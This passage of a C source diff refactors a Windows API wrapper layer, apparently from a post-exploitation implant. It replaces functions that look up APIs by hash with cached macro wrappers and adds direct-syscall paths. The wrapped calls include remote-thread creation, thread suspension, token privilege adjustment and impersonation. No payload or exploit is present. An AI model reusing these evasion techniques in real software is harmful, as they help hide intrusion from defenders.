LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { - HANDLE (WINAPI *pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) = GetFunctionH(KERNEL32_DLL, H_CreateRemoteThread); - if (pCreateRemoteThread) { - return pCreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); - } - return NULL; -} + return winapi_NtStatusSucceeded(dwStatus); + } + + return winapi_kernel32_VirtualFreeExFallback(hProcess, lpAddress, dwSize, dwFreeType); +} + +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateRemoteThread, WINAPI, KERNEL32_DLL, H_CreateRemoteThread, + (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId), + (hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_CloseHandle, WINAPI, KERNEL32_DLL, H_CloseHandle, + (HANDLE hObject), (hObject), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_DuplicateHandle, WINAPI, KERNEL32_DLL, H_DuplicateHandle, + (HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions), + (hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateToolhelp32Snapshot, WINAPI, KERNEL32_DLL, H_CreateToolhelp32Snapshot, + (DWORD dwFlags, DWORD th32ProcessID), (dwFlags, th32ProcessID), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_Thread32First, WINAPI, KERNEL32_DLL, H_Thread32First, + (HANDLE hSnapshot, LPTHREADENTRY32 lpte), (hSnapshot, lpte), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_OpenThread, WINAPI, KERNEL32_DLL, H_OpenThread, + (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId), (dwDesiredAccess, bInheritHandle, dwThreadId), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_SuspendThread, WINAPI, KERNEL32_DLL, H_SuspendThread, + (HANDLE hThread), (hThread), (DWORD)-1) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_Thread32Next, WINAPI, KERNEL32_DLL, H_Thread32Next, + (HANDLE hSnapshot, LPTHREADENTRY32 lpte), (hSnapshot, lpte), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_ResumeThread, WINAPI, KERNEL32_DLL, H_ResumeThread, + (HANDLE hThread), (hThread), (DWORD)-1) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_FreeLibrary, WINAPI, KERNEL32_DLL, H_FreeLibrary, + (HMODULE hLibModule), (hLibModule), FALSE) +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_FlushInstructionCacheFallback, WINAPI, KERNEL32_DLL, H_FlushInstructionCache, + (HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize), (hProcess, lpBaseAddress, dwSize), FALSE) -BOOL winapi_kernel32_CloseHandle(HANDLE hObject) { - BOOL (WINAPI *pCloseHandle)(HANDLE hObject) = GetFunctionH(KERNEL32_DLL, H_CloseHandle); - dprintf("[WINAPI][winapi_kernel32_CloseHandle] Calling CloseHandle @ %p", pCloseHandle); - if (pCloseHandle) { - return pCloseHandle(hObject); - } - return FALSE; -} +BOOL winapi_kernel32_FlushInstructionCache(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize) { + if (hasDirectSyscallSupport()) { + NTSTATUS dwStatus = winapi_ntdll_ZwFlushInstructionCache(hProcess, lpBaseAddress, dwSize); + dprintf("[WINAPI][winapi_kernel32_FlushInstructionCache] Syscall ZwFlushInstructionCache returned: %d", dwStatus); + return winapi_NtStatusSucceeded(dwStatus); + } + + return winapi_kernel32_FlushInstructionCacheFallback(hProcess, lpBaseAddress, dwSize); +} + +DEFINE_CACHED_WINAPI_WRAPPER(HLOCAL, winapi_kernel32_LocalFree, WINAPI, KERNEL32_DLL, H_LocalFree, + (HLOCAL hMem), (hMem), hMem) + +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateFileA, WINAPI, KERNEL32_DLL, H_CreateFileA, + (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile), + (lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_WriteFile, WINAPI, KERNEL32_DLL, H_WriteFile, + (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped), + (hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HMODULE, winapi_kernel32_LoadLibraryA, WINAPI, KERNEL32_DLL, H_LoadLibraryA, + (LPCSTR lpLibFileName), (lpLibFileName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_WaitForMultipleObjects, WINAPI, KERNEL32_DLL, H_WaitForMultipleObjects, + (DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds), + (nCount, lpHandles, bWaitAll, dwMilliseconds), WAIT_FAILED) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetHandleInformation, WINAPI, KERNEL32_DLL, H_SetHandleInformation, + (HANDLE hObject, DWORD dwMask, DWORD dwFlags), (hObject, dwMask, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HGLOBAL, winapi_kernel32_GlobalFree, WINAPI, KERNEL32_DLL, H_GlobalFree, + (HGLOBAL hMem), (hMem), hMem) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateNamedPipeA, WINAPI, KERNEL32_DLL, H_CreateNamedPipeA, + (LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes), + (lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut, lpSecurityAttributes), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ConnectNamedPipe, WINAPI, KERNEL32_DLL, H_ConnectNamedPipe, + (HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped), (hNamedPipe, lpOverlapped), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_GetOverlappedResult, WINAPI, KERNEL32_DLL, H_GetOverlappedResult, + (HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait), + (hFile, lpOverlapped, lpNumberOfBytesTransferred, bWait), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ReadFile, WINAPI, KERNEL32_DLL, H_ReadFile, + (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped), + (hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateThread, WINAPI, KERNEL32_DLL, H_CreateThread, + (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId), + (lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ResetEvent, WINAPI, KERNEL32_DLL, H_ResetEvent, + (HANDLE hEvent), (hEvent), FALSE) + +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetThreadErrorMode, WINAPI, KERNEL32_DLL, H_SetThreadErrorMode, + (DWORD dwNewMode, LPDWORD lpOldMode), (dwNewMode, lpOldMode), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HMODULE, winapi_kernel32_GetModuleHandleA, WINAPI, KERNEL32_DLL, H_GetModuleHandleA, + (LPCSTR lpModuleName), (lpModuleName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateFileW, WINAPI, KERNEL32_DLL, H_CreateFileW, + (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile), + (lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateNamedPipeW, WINAPI, KERNEL32_DLL, H_CreateNamedPipeW, + (LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes), + (lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut, lpSecurityAttributes), INVALID_HANDLE_VALUE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateEventA, WINAPI, KERNEL32_DLL, H_CreateEventA, + (LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName), + (lpEventAttributes, bManualReset, bInitialState, lpName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateEventW, WINAPI, KERNEL32_DLL, H_CreateEventW, + (LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName), + (lpEventAttributes, bManualReset, bInitialState, lpName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetEvent, WINAPI, KERNEL32_DLL, H_SetEvent, + (HANDLE hEvent), (hEvent), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_WaitForSingleObject, WINAPI, KERNEL32_DLL, H_WaitForSingleObject, + (HANDLE hHandle, DWORD dwMilliseconds), (hHandle, dwMilliseconds), WAIT_FAILED) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_Sleep, WINAPI, KERNEL32_DLL, H_Sleep, + (DWORD dwMilliseconds), (dwMilliseconds)) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_GetProcessHeap, WINAPI, KERNEL32_DLL, H_GetProcessHeap, + (VOID), (), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(LPVOID, winapi_kernel32_HeapAlloc, WINAPI, KERNEL32_DLL, H_HeapAlloc, + (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes), (hHeap, dwFlags, dwBytes), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_HeapFree, WINAPI, KERNEL32_DLL, H_HeapFree, + (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem), (hHeap, dwFlags, lpMem), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_IsWow64Process, WINAPI, KERNEL32_DLL, H_IsWow64Process, + (HANDLE hProcess, PBOOL Wow64Process), (hProcess, Wow64Process), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ProcessIdToSessionId, WINAPI, KERNEL32_DLL, H_ProcessIdToSessionId, + (DWORD dwProcessId, DWORD* pSessionId), (dwProcessId, pSessionId), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetCurrentThreadId, WINAPI, KERNEL32_DLL, H_GetCurrentThreadId, + (VOID), (), 0) -BOOL winapi_kernel32_DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions) { - BOOL (WINAPI *pDuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions) = GetFunctionH(KERNEL32_DLL, H_DuplicateHandle); - dprintf("[WINAPI][winapi_kernel32_DuplicateHandle] Calling DuplicateHandle @ %p", pDuplicateHandle); - if (pDuplicateHandle) { - return pDuplicateHandle(hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions); - } - return FALSE; -} +// END: kernel32.dll +// START: kernel32 extensions.dll -HANDLE winapi_kernel32_CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID) { - HANDLE (WINAPI *pCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID) = GetFunctionH(KERNEL32_DLL, H_CreateToolhelp32Snapshot); - dprintf("[WINAPI][winapi_kernel32_CreateToolhelp32Snapshot] Calling CreateToolhelp32Snapshot @ %p", pCreateToolhelp32Snapshot); - if (pCreateToolhelp32Snapshot) { - return pCreateToolhelp32Snapshot(dwFlags, th32ProcessID); - } - return INVALID_HANDLE_VALUE; -} +DEFINE_CACHED_WINAPI_WRAPPER(LPVOID, winapi_kernel32_HeapReAlloc, WINAPI, KERNEL32_DLL, H_HeapReAlloc, + (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes), (hHeap, dwFlags, lpMem, dwBytes), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HLOCAL, winapi_kernel32_LocalAlloc, WINAPI, KERNEL32_DLL, H_LocalAlloc, + (UINT uFlags, SIZE_T uBytes), (uFlags, uBytes), NULL) +DEFINE_CACHED_WINAPI_VOID_WRAPPER(winapi_kernel32_GetSystemTime, WINAPI, KERNEL32_DLL, H_GetSystemTime, + (LPSYSTEMTIME lpSystemTime), (lpSystemTime)) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SystemTimeToFileTime, WINAPI, KERNEL32_DLL, H_SystemTimeToFileTime, + (const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime), (lpSystemTime, lpFileTime), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_MultiByteToWideChar, WINAPI, KERNEL32_DLL, H_MultiByteToWideChar, + (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar), + (CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar), 0) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_WideCharToMultiByte, WINAPI, KERNEL32_DLL, H_WideCharToMultiByte, + (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar), + (CodePage, dwFlags, lpWideCharStr, cchWideChar, lpMultiByteStr, cbMultiByte, lpDefaultChar, lpUsedDefaultChar), 0) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_PeekNamedPipe, WINAPI, KERNEL32_DLL, H_PeekNamedPipe, + (HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage), + (hNamedPipe, lpBuffer, nBufferSize, lpBytesRead, lpTotalBytesAvail, lpBytesLeftThisMessage), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_SetNamedPipeHandleState, WINAPI, KERNEL32_DLL, H_SetNamedPipeHandleState, + (HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout), + (hNamedPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ReleaseMutex, WINAPI, KERNEL32_DLL, H_ReleaseMutex, + (HANDLE hMutex), (hMutex), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateMutexA, WINAPI, KERNEL32_DLL, H_CreateMutexA, + (LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName), + (lpMutexAttributes, bInitialOwner, lpName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_CreateMutexW, WINAPI, KERNEL32_DLL, H_CreateMutexW, + (LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName), + (lpMutexAttributes, bInitialOwner, lpName), NULL) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_TerminateThread, WINAPI, KERNEL32_DLL, H_TerminateThread, + (HANDLE hThread, DWORD dwExitCode), (hThread, dwExitCode), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(int, winapi_kernel32_lstrcmpW, WINAPI, KERNEL32_DLL, H_lstrcmpW, + (LPCWSTR lpString1, LPCWSTR lpString2), (lpString1, lpString2), 0) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_kernel32_GetLastError, WINAPI, KERNEL32_DLL, H_GetLastError, + (VOID), (), ERROR_PROC_NOT_FOUND) -BOOL winapi_kernel32_Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte) { - BOOL (WINAPI *pThread32First)(HANDLE hSnapshot, LPTHREADENTRY32 lpte) = GetFunctionH(KERNEL32_DLL, H_Thread32First); - dprintf("[WINAPI][winapi_kernel32_Thread32First] Calling Thread32First @ %p", pThread32First); - if (pThread32First) { - return pThread32First(hSnapshot, lpte); - } - return FALSE; -} +// END: kernel32 extensions.dll +// START: advapi32.dll -HANDLE winapi_kernel32_OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) { - HANDLE (WINAPI *pOpenThread)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId) = GetFunctionH(KERNEL32_DLL, H_OpenThread); - dprintf("[WINAPI][winapi_kernel32_OpenThread] Calling OpenThread @ %p", pOpenThread); - if (pOpenThread) { - return pOpenThread(dwDesiredAccess, bInheritHandle, dwThreadId); - } - return NULL; -} +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_OpenProcessToken, WINAPI, ADVAPI32_DLL, H_OpenProcessToken, + (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle), (ProcessHandle, DesiredAccess, TokenHandle), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_AdjustTokenPrivileges, WINAPI, ADVAPI32_DLL, H_AdjustTokenPrivileges, + (HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength), + (TokenHandle, DisableAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_ImpersonateLoggedOnUser, WINAPI, ADVAPI32_DLL, H_ImpersonateLoggedOnUser, + (HANDLE hToken), (hToken), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptDuplicateKey, WINAPI, ADVAPI32_DLL, H_CryptDuplicateKey, + (HCRYPTKEY hKey, DWORD* pdwReserved, DWORD dwFlags, HCRYPTKEY* phKey), (hKey, pdwReserved, dwFlags, phKey), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptSetKeyParam, WINAPI, ADVAPI32_DLL, H_CryptSetKeyParam, + (HCRYPTKEY hKey, DWORD dwParam, const BYTE* pbData, DWORD dwFlags), (hKey, dwParam, pbData, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptDecrypt, WINAPI, ADVAPI32_DLL, H_CryptDecrypt, + (HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen), + (hKey, hHash, Final, dwFlags, pbData, pdwDataLen), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptGenRandom, WINAPI, ADVAPI32_DLL, H_CryptGenRandom, + (HCRYPTPROV hProv, DWORD dwLen, BYTE* pbBuffer), (hProv, dwLen, pbBuffer), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptEncrypt, WINAPI, ADVAPI32_DLL, H_CryptEncrypt, + (HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen, DWORD dwBufLen), + (hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptDestroyKey, WINAPI, ADVAPI32_DLL, H_CryptDestroyKey, + (HCRYPTKEY hKey), (hKey), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptReleaseContext, WINAPI, ADVAPI32_DLL, H_CryptReleaseContext, + (HCRYPTPROV hProv, DWORD dwFlags), (hProv, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptImportKey, WINAPI, ADVAPI32_DLL, H_CryptImportKey, + (HCRYPTPROV hProv, const BYTE* pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY* phKey), + (hProv, pbData, dwDataLen, hPubKey, dwFlags, phKey), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_OpenThreadToken, WINAPI, ADVAPI32_DLL, H_OpenThreadToken, + (HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle), (ThreadHandle, DesiredAccess, OpenAsSelf, TokenHandle), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_AllocateAndInitializeSid, WINAPI, ADVAPI32_DLL, H_AllocateAndInitializeSid, + (PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, + DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, + DWORD dwSubAuthority7, PSID* pSid), + (pIdentifierAuthority, nSubAuthorityCount, dwSubAuthority0, dwSubAuthority1, dwSubAuthority2, dwSubAuthority3, + dwSubAuthority4, dwSubAuthority5, dwSubAuthority6, dwSubAuthority7, pSid), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(DWORD, winapi_advapi32_SetEntriesInAclW, WINAPI, ADVAPI32_DLL, H_SetEntriesInAclW, + (ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_W pListOfExplicitEntries, PACL OldAcl, PACL* NewAcl), + (cCountOfExplicitEntries, pListOfExplicitEntries, OldAcl, NewAcl), ERROR_INVALID_FUNCTION) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_InitializeAcl, WINAPI, ADVAPI32_DLL, H_InitializeAcl, + (PACL pAcl, DWORD nAclLength, DWORD dwAclRevision), (pAcl, nAclLength, dwAclRevision), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_InitializeSecurityDescriptor, WINAPI, ADVAPI32_DLL, H_InitializeSecurityDescriptor, + (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision), (pSecurityDescriptor, dwRevision), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_SetSecurityDescriptorDacl, WINAPI, ADVAPI32_DLL, H_SetSecurityDescriptorDacl, + (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted), + (pSecurityDescriptor, bDaclPresent, pDacl, bDaclDefaulted), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_SetSecurityDescriptorSacl, WINAPI, ADVAPI32_DLL, H_SetSecurityDescriptorSacl, + (PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted), + (pSecurityDescriptor, bSaclPresent, pSacl, bSaclDefaulted), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_LookupPrivilegeValueW, WINAPI, ADVAPI32_DLL, H_LookupPrivilegeValueW, + (LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid), (lpSystemName, lpName, lpLuid), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptAcquireContextA, WINAPI, ADVAPI32_DLL, H_CryptAcquireContextA, + (HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags), + (phProv, szContainer, szProvider, dwProvType, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptAcquireContextW, WINAPI, ADVAPI32_DLL, H_CryptAcquireContextW, + (HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags), + (phProv, szContainer, szProvider, dwProvType, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_AddMandatoryAce, WINAPI, ADVAPI32_DLL, H_AddMandatoryAce, + (PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid), + (pAcl, dwAceRevision, AceFlags, MandatoryPolicy, pLabelSid), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptCreateHash, WINAPI, ADVAPI32_DLL, H_CryptCreateHash, + (HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH* phHash), + (hProv, Algid, hKey, dwFlags, phHash), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptDestroyHash, WINAPI, ADVAPI32_DLL, H_CryptDestroyHash, + (HCRYPTHASH hHash), (hHash), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptGetHashParam, WINAPI, ADVAPI32_DLL, H_CryptGetHashParam, + (HCRYPTHASH hHash, DWORD dwParam, BYTE* pbData, DWORD* pdwDataLen, DWORD dwFlags), + (hHash, dwParam, pbData, pdwDataLen, dwFlags), FALSE) +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_advapi32_CryptHashData, WINAPI, ADVAPI32_DLL, H_CryptHashData, + (HCRYPTHASH hHash, const BYTE* pbData, DWORD dwDataLen, DWORD dwFlags), (hHash, pbData, dwDataLen, dwFlags), FALSE) -DWORD winapi_kernel32_SuspendThread(HANDLE hThread) { - DWORD (WINAPI *pSuspendThread)(HANDLE hThread) = GetFunctionH(KERNEL32_DLL, H_SuspendThread); - dprintf("[WINAPI][winapi_kernel32_SuspendThread] Calling SuspendThread @ %p", pSuspendThread); - if (pSuspendThread) { - return pSuspendThread(hThread); - } - return (DWORD)-1; -} +// END: advapi32.dll +// START: crypt32.dll -BOOL winapi_kernel32_Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte) { - BOOL (WINAPI *pThread32Next)(HANDLE hSnapshot, LPTHREADENTRY32 lpte) = GetFunctionH(KERNEL32_DLL, H_Thread32Next); - dprintf("[WINAPI][winapi_kernel32_Thread32Next] Calling Thread32Next @ %p", pThread32Next); - if (pThread32Next) { - return pThread32Next(hSnapshot, lpte); - } - return FALSE; -} +DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_crypt32_CryptDecodeObjectEx, WINAPI, CRYPT32_DLL, H_CryptDecodeObjectEx, + (DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, + PCRYPT_DECODE_PARA pDecodePara, void* 